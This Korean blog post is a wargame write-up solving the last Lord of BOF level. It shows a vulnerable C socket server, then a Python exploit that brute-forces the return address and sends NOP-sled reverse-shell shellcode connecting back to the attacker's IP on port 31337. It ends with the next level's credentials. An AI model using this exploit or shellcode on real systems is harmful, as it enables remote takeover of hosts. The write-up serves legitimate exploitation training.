일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- Spring Framework
- PWN
- 해킹
- Buffer Overflow
- webhacking.kr
- SQL
- LOB
- Pwnable.kr
- hacking
- Operating System
- webhacking
- Spring
- wargame
- pwnable
- Spring MVC
- system hacking
- 정보처리기사 실기
- 워게임
- Shell code
- Payload
- 네트워크
- 정보보안기사 실기
- Lord of BOF
- OS
- 운영체제
- System
- BOF
- 웹해킹
- 정보보안기사
- stack overflow
- Today
- Total
DongDD's IT
[LOB] Level20 xavius 본문
[LOB] Level20 xavius
Problem
LOB 마지막 20번째 문제이다. 마지막 문제에서도 death_knight 실행 파일 하나와 death_knight.c 소스 코드 파일이 있었다.
먼저 소스 코드를 확인해보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <dumpcode.h> main() { char buffer[40]; int server_fd, client_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size; if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ perror("socket"); exit(1); } server_addr.sin_family = AF_INET; server_addr.sin_port = htons(6666); server_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(server_addr.sin_zero), 8); if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){ perror("bind"); exit(1); } if(listen(server_fd, 10) == -1){ perror("listen"); exit(1); } while(1) { sin_size = sizeof(struct sockaddr_in); if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr , &sin_size)) == -1){ perror("accept"); continue; } if (!fork()){ send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); send(client_fd, "You : ", 6, 0); recv(client_fd, buffer, 256, 0); close(client_fd); break; } close(client_fd); while(waitpid(-1,NULL,WNOHANG) > 0); } close(server_fd); } | cs |
이번 문제는 소스 코드가 굉장히 길었다. 먼저 buffer의 size는 40 bytes이고 윗 부분 일반적인 TCP 소켓 프로그래밍의 코드로 되어있었다.
server socket은 while문을 돌며 접속이 있을 때 접속을 받고 fork()를 통해 자식 프로세스를 생성해 client와 통신하게 한다.
client socket은 "Death Knight : Not even death can save you from me!"라는 message와 "You : "라는 message를 client에 보내고 client의 입력 받기를 기다린다. 입력을 받은 후 바로 close를 통해 socket을 종료시킨다.
일단 코드로 바로 볼 수 있는 취약점이 있다. buffer는 40 bytes이지만 recv를 통해 256 bytes의 data를 받는 것을 알 수 있다. 즉, 앞에서 했던 local 방식대로 overflow를 시켜 return address를 원격이지만 임의로 바꿀 수 있다는 것이다.
이 부분을 이용하면 문제를 해결할 수 있을 것 같았다.
Solution
1. Reverse Shell code 이용
처음에 death_knight 파일을 실행시켜놓고 해야하는 줄 알고 death_knight 파일을 실행했는데 bind error가 뜨는 것을 볼 수 있었다.
ps를 통해 확인해보니 death_knight 권한으로 이미 파일이 실행되고 있는 상태였고 이 파일을 굳이 사용할 필요가 없을 거라고 생각되었다.
처음에는 remote bof에서 ROP밖에 알지 못해서 ROP쪽을 시도해보다가 안되는 것 같아 다른 방법을 찾아보았고 Reverse shell code라는 것을 알게 되었고 buffer에 이 reverse shell code를 넣고 return address에 이 위치를 넣어주면 된다는 것을 알았다.
Reverse shell은 server쪽에서 client에 연결을 시도하게 해주는 shell code라고 한다. 연결을 받을 곳에서 port를 열어 놓고 기다린 후 server쪽에서 reverse shell code를 실행하게 되면 연결이 왔다는 message를 받을 수 있다고 한다.
Ref) https://www.exploit-db.com/exploits/25497/
위 주소에서 reverse shell code를 가져와 내 컴퓨터의 ip address를 16진수로 바꿔서 넣어주었다. port는 31337로 기본으로 되어있는 shell code였다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | from socket import * from struct import * p = lambda x: pack("<L",x) u = lambda x: unpack("<L",x)[0] # ip = 192.168.14.100 - "\xc0\xa8\x0e\x64" # port = 31337 - "\x7a\x69" she ="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89" +"\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68" +"\xc0\xa8\x0e\x64" #ip address +"\x66\x68" +"\x7a\x69"#port +"\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe" +"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62" +"\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" for i in range(0xbfffffff, 0xbf000000, -1): payload="A"*44+p(i)+"\x90"*40+she s=socket(AF_INET, SOCK_STREAM) s.connect(("localhost", 6666)) s.recv(52) # first line s.recv(6) # second line s.send(payload) s.close() | cs |
위처럼 코드를 작성했다. 처음에는 소스 코드를 수정해 buffer의 주소를 알아보았는데 그 상태로 시도했지만 제대로 된 return address가 아닌지 실패했다. 그래서 brute force를 통해 stack영역의 끝부터 1씩 감소시키며 지속적으로 연결을 시도하여 payload를 보냈다.
Payload = dummy(44 bytes, "A"*44) + return address(4 bytes, reverse shell code의 주소, 0xbf??????) + NOP + reverse shell code(92 bytes)
사용한 reverse shell code(92 bytes):
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\xc0\xa8\x0e\x64\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80
server에서의 연결 요청을 받을 ubuntu에서 nc를 통해 port를 열어놓고 LOB에서 python 파일을 실행시키고 reverse shell code의 위치를 찾아 연결이 올 때까지 기다려보았다.
port을 열어 놓고 기다리니 server 쪽(LOB, 192.168.14.1)에서 연결 요청이 왔고 문제를 해결할 수 있었다.
************** Answer & Flag **************
1. Reverse Shell code 이용
Payload = dummy(44 bytes, "A"*44) + return address(4 bytes, reverse shell code의 주소, 0xbf??????) + NOP + reverse shell code(92 bytes)
Next ID : death_knight
Next PW : got the life
얻은 ID와 Password를 통해 접속해보니 txt파일이 하나 있었고 파일 내용을 보니 위와 같이 나왔다.
'Wargame > LOB' 카테고리의 다른 글
[LOB] Level19 nightmare (0) | 2018.02.08 |
---|---|
[LOB] Level18 succubus (0) | 2018.02.07 |
[LOB] Level17 zombie_assassin (0) | 2018.01.31 |
[LOB] Level16 assassin (0) | 2018.01.31 |
[LOB] Level15 giant (0) | 2018.01.30 |